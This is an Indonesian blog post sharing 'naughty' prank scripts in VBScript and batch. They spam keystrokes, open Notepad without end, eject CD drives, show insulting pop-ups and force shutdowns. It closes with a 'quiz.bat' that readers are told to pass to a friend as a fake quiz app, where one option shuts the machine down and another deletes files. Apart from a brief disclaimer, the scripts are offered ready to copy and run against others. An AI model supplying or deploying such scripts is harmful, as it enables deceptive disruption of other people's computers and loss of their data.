Scrip jahil

Buat temen2 yang pengen beramain-main dengan script-script nakal, neh ada sedikit script sederhana, dokumentasi yang sudah lama aku simpan, khusus saya share di sini buat sesama newbie yang pengen tau dan belajar …hehehe.

Sebelumnya, aku saranin, ini jangan disalahgunakan ya, soalnya neh script lumayan bikin pusing juga klo sampai dieksekusi, tapi gunakanlah sebaik mungkin sebagai media pembelajaran saja. Jika temen-temen siap menerima segala resiko yang ditimbulkan oleh script-script dalam postingan ini silakan lanjutin baca….

Karena temen2 dah setuju sama kondisi di atas, baiklah mari simak baik-baik. Script-script ini sangat mudah digunakan, tinggal co-past aja ke notepad atau text editor lainnya yang biasa temen2 pakai.

1.Otomatis Ngetik di notepad atau text editor lainnya

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Muka lu standart abis, format ajah bro”
loop

Simpan dengan extensi *.vbs contoh scriptnakal_1.vbs

2.Buka notepad dan ketik pesan secara otomatis



WScript.Sleep 1800

WScript.Sleep 100

Set WshShell = WScript.CreateObject(“WScript.Shell”)

WshShell.Run “notepad”

WScript.Sleep 10

WshShell.AppActivate “Notepad”

WScript.Sleep 50

WshShell.SendKeys “Mu”

WScript.Sleep 50

WshShell.SendKeys “ka ”

WScript.Sleep 50

WshShell.SendKeys “lo”

WScript.Sleep 50

WshShell.SendKeys “stan”

WScript.Sleep 50

WshShell.SendKeys “dart ”

WScript.Sleep 50

WshShell.SendKeys ” a”

WScript.Sleep 50

WshShell.SendKeys “bis”

WScript.Sleep 50

WshShell.SendKeys “for”

WScript.Sleep 50

WshShell.SendKeys ” mat”

WScript.Sleep 50

WshShell.SendKeys “aja”

WScript.Sleep 50

WshShell.SendKeys ” la”

WScript.Sleep 50

WshShell.SendKeys “gi”

WScript.Sleep 50

WshShell.SendKeys “!! “



Simpan dengan extensi *.vbs, misalnya scriptnakal_2.vbs

Yang ini bisa temen manfaatin buat nembak seseorang :) Tinggal ganti aja kata2nya dengan yang romantis-romantis hehehehe.

3. Pesan pada saat shut-down



@echo off

msg * apaan sih lo

shutdown -s -c “Error! muka mu standar abis”



Simpan dengan extensi *.bat misalnya scriptnakal.bat

4.Yang ini temen2 coba aja sendiri deh



@ECHO off

:Begin

msg * muka lo standar abis

msg * ngaca dulu sana

msg * hayo, lu brani ma gw..!!!??

msg * ud install ulang aja tuh muka lu

msg * biar masalah nya kelar



5. Buka notepad terus menerus



@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top



Save dengan extensi *.bat. Bisa juga ganti notepad dengan program yang diinginkan, misalnya MS Word.



6. Tekan Backspace Mulu (jadi gak bisa ngetik dah)



MsgBox “kembali ke menu sebelumnya”

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{bs}”

loop



save dengan extensi *.vbs



7. VbScript nongol mulu



Set wshShell = wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “~(enter)”

loop



save dengan extensi *.vbs



8. Buka tutup CD/DVD Driver Terus-menerus



Set oWMP = CreateObject(“WMPlayer.OCX.7?)

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop



save dengan extensi *.vbs



9. Mainin Tombol CapsLock



Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

loop



save dengan extensi *.vbs



Script-script tersebut di atas bisa temen-temen ubah sesuai dengan keinginan. Atau bisa juga kita gabungin beberapa menjadi satu, misalnya kita dapat membuatnya menjadi seperti script di bawah ini:



@echo off

title quiz hari ini :)

:menu

cls

echo jika kamu kena virus apa yang kamu lakukan

pause

echo pilih yang mana:

echo 1. matiin computer

echo 2. format aja

echo 3. lakukan Scan

set input=nothing

set /p input=Choice:

if %input%==1 shutdown -s -t 30

if %input%==2 del c:\xxx

if %input%==3 @ECHO off

msg * muka lo standar abis

msg * ngaca dulu sana

msg * hayo lo, brani ma gw..!!!???

msg * ud install ulang aja tuh muka lu

msg * biar masalah nya kelar

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top



Save Script di atas dengan nama yang unik, misalnya saja quiz.bat trus kasih ke teman, pura-pura aja bilangin aplikasi kuis :D :D



Keterangan angka di atas:

Jika pilih 1, maka otomatis matiin komputer

jika pilih 2, maka akan melakukan format file (mampus dah..) terserah Drive mana yg dipilih

jika pilih 3, maka akan sama seperti script pada no 4